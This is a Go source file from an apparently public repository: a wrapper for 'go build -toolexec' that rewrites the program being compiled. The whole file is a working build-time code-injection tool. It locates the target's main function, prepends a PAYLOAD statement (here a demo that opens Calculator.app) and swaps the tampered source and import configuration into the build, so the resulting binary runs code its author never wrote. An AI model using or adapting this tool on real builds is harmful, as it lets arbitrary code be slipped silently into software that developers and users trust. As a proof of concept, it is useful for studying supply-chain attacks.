-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathmain.go
330 lines (296 loc) · 7.83 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
package main
import (
"bufio"
"bytes"
"fmt"
"github.com/pkg/errors"
"go/ast"
"go/parser"
"go/printer"
"go/token"
"golang.org/x/tools/go/ast/astutil"
"io"
"log"
"os"
"os/exec"
"path"
"path/filepath"
"runtime"
"strings"
)
const (
PAYLOAD = `exec.Command("open", "/System/Applications/Calculator.app").Run()`
CODE = `package main
import "os/exec"
func main() {
exec.Command("ls").Run()
}`
)
var (
TEMPDIR = path.Join(os.TempDir(), "gobuild_cache_xxx")
ErrNotTarget = errors.New("not target file or function")
)
func main() {
log.SetPrefix("[wrapper] ")
if len(os.Args) < 3 {
log.Fatal("wrong usage, you should call me through `go build -toolexec=/path/to/me`")
}
toolAbsPath := os.Args[1]
args := os.Args[2:] // go build args
_, toolName := filepath.Split(toolAbsPath)
if runtime.GOOS == "windows" {
toolName = strings.TrimSuffix(toolName, ".exe")
}
var err error
switch toolName {
case "compile":
err = wrapCompile(args)
case "link":
err = wrapLink(args)
}
if err != nil && err != ErrNotTarget {
log.Println(err)
}
//log.Println("cmd: ", name, args)
cmd := exec.Command(toolAbsPath, args...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Run()
}
func wrapCompile(args []string) error {
files := make([]string, 0, len(args))
var cfg string
for i, arg := range args {
// /path/to/wrapper /opt/homebrew/Cellar/go/1.17.2/libexec/pkg/tool/darwin_arm64/compile -o $WORK/b001/_pkg_.a -trimpath "$WORK/b001=>" -shared -p main -lang=go1.17 -complete -buildid ijnVr99yrvgrVJjo7lvS/ijnVr99yrvgrVJjo7lvS -goversion go1.17.2 -importcfg $WORK/b001/importcfg -pack ./main.go $WORK/b001/_gomod_.go
if strings.HasPrefix(arg, "-") {
continue
}
if strings.Contains(arg, "/b001/importcfg") {
cfg = arg
} else if strings.HasSuffix(arg, ".go") {
files = args[i:]
break
}
}
if cfg == "" || len(files) == 0 {
return ErrNotTarget
}
var fTarget *ast.File
var originPath string
fset := token.NewFileSet()
ENTRY:
for _, file := range files {
f, err := parser.ParseFile(fset, file, nil, 0)
if err != nil {
continue
}
if f.Name.Name != "main" {
return ErrNotTarget
}
for _, decl := range f.Decls {
if fd, ok := decl.(*ast.FuncDecl); ok && fd.Name.Name == "main" {
log.Println("located entrance")
fTarget = f
originPath = file
break ENTRY
}
}
}
if fTarget == nil {
return ErrNotTarget
}
//
// located entrance
//
if _, err := os.Stat(TEMPDIR); os.IsNotExist(err) {
err := os.Mkdir(TEMPDIR, os.ModePerm)
if err != nil {
return errors.Wrap(err, "create temp dir")
}
}
// prepare dependence
// todo skip existing dependencies
err := buildDependence()
if err != nil {
return errors.Wrap(err, "build dependence")
}
log.Println("built dependence")
err = mergeImportcfg(cfg, "importcfg")
if err != nil {
return errors.Wrap(err, "merge importcgf")
}
log.Println("merged importcgf")
// modify source code
insertPayload(fset, fTarget)
var output []byte
buffer := bytes.NewBuffer(output)
err = printer.Fprint(buffer, fset, fTarget)
if err != nil {
return errors.Wrap(err, "fprint original code")
}
tmpEntryFile := path.Join(TEMPDIR, path.Base(originPath))
err = os.WriteFile(tmpEntryFile, buffer.Bytes(), 0o666)
if err != nil {
return errors.Wrap(err, "write into temporary file")
}
log.Println("inserted payload")
// update go build args
for i := range args {
if args[i] == originPath {
args[i] = tmpEntryFile
}
}
log.Printf("temp file strored at %s\n", tmpEntryFile)
return nil
}
// buildDependence store the path of the b001 file obtained by compiling the test code to TEMPDIR/b001.txt
func buildDependence() error {
gofile := path.Join(TEMPDIR, "xxx.go")
goOutput := path.Join(TEMPDIR, "xxx")
err := os.WriteFile(gofile, []byte(CODE), 0o777)
if err != nil {
return errors.Wrap(err, "land code")
}
buildCmd := strings.Split(fmt.Sprintf("build -a -work -o %s %s", goOutput, gofile), " ")
output, err := exec.Command("go", buildCmd...).CombinedOutput()
if err != nil {
return errors.Wrap(err, "go build")
}
//log.Print(string(output))
if !strings.HasPrefix(string(output), "WORK=") {
return errors.New("bad output")
}
b001 := path.Join(strings.TrimPrefix(strings.TrimSpace(string(output)), "WORK="), "b001")
err = os.WriteFile(path.Join(TEMPDIR, "b001.txt"), []byte(b001), 0644)
if err != nil {
return errors.Wrap(err, "save b001 path")
}
return nil
}
// insertPayload insert payload into f
func insertPayload(fset *token.FileSet, f *ast.File) {
astutil.AddImport(fset, f, "os/exec")
// payload must be able to be parsed successfully
payloadExpr, _ := parser.ParseExpr(PAYLOAD)
payloadExprStmt := &ast.ExprStmt{
X: payloadExpr,
}
// method1
ast.Inspect(f, func(n ast.Node) bool {
switch x := n.(type) {
case *ast.FuncDecl:
if x.Name.Name == "main" && x.Recv == nil {
stmts := make([]ast.Stmt, 0, len(x.Body.List)+1)
stmts = append(stmts, payloadExprStmt)
stmts = append(stmts, x.Body.List...)
x.Body.List = stmts
return false
}
}
return true
})
// method2
//pre := func(cursor *astutil.Cursor) bool {
// switch cursor.Node().(type) {
// case *ast.FuncDecl:
// if fd := cursor.Node().(*ast.FuncDecl); fd.Name.Name == "main" && fd.Recv == nil {
// return true
// }
// return false
// case *ast.BlockStmt:
// return true
// case ast.Stmt:
// if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
// cursor.InsertBefore(payloadExprStmt)
// }
// }
// return true
//}
//post := func(cursor *astutil.Cursor) bool {
// if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
// return false
// }
// return true
//}
//f = astutil.Apply(f, pre, post).(*ast.File)
}
func wrapLink(args []string) error {
if _, err := os.Stat(TEMPDIR); os.IsNotExist(err) {
return errors.New("temp dir not exist")
}
var cfg string
for _, arg := range args {
// /opt/homebrew/Cellar/go/1.17.2/libexec/pkg/tool/darwin_arm64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=DdpF09ip6nlMCY9jjkYX/DCfXYBMv_uD05qYqIbtF/OJ1Whv9JDUjRPiIVXH6A/DdpF09ip6nlMCY9jjkYX -extld=clang $WORK/b001/_pkg_.a
if strings.HasPrefix(arg, "-") {
continue
}
if strings.Contains(arg, "/b001/importcfg.link") {
cfg = arg
break
}
}
if cfg == "" {
return ErrNotTarget
}
//
// located final link step
//
err := mergeImportcfg(cfg, "importcfg.link")
if err != nil {
return errors.Wrap(err, "merge importcgf")
}
log.Println("merged importcfg.link")
//err = os.RemoveAll(TEMPDIR)
//if err != nil {
// return errors.Wrap(err, "delete temp dictionary")
//}
//log.Println("deleted temp dictionary", TEMPDIR)
return nil
}
// mergeImportcfg merge tempCfg into originalCfg.
// When it is the compile step, the cfg parameter should be `importcfg`.
// When it is the link step, the cfg parameter should be `importcfg.link`.
func mergeImportcfg(originalCfg, cfg string) error {
f, err := os.OpenFile(originalCfg, os.O_RDWR|os.O_APPEND, 0644)
if err != nil {
return errors.Wrap(err, "open original importcfg")
}
defer f.Close()
b001txt, err := os.ReadFile(path.Join(TEMPDIR, "b001.txt"))
if err != nil {
return errors.Wrap(err, "read b001.txt")
}
b001Path := strings.TrimSpace(string(b001txt))
tempCfg := path.Join(b001Path, cfg)
fn, err := os.Open(tempCfg)
if err != nil {
return errors.Wrap(err, "open temp importctf")
}
defer fn.Close()
parseCfg := func(r io.Reader) map[string]string {
res := make(map[string]string)
s := bufio.NewScanner(r)
for s.Scan() {
line := s.Text()
if !strings.HasPrefix(line, "packagefile") {
continue
}
index := strings.Index(line, "=")
if index < 11 {
continue
}
res[line[:index-1]] = line
}
return res
}
w := bufio.NewWriter(f)
originalPkgs := parseCfg(f)
tempPkgs := parseCfg(fn)
for name, line := range tempPkgs {
if _, ok := originalPkgs[name]; !ok {
w.WriteString(line + "\n")
}
}
w.Flush()
return nil
}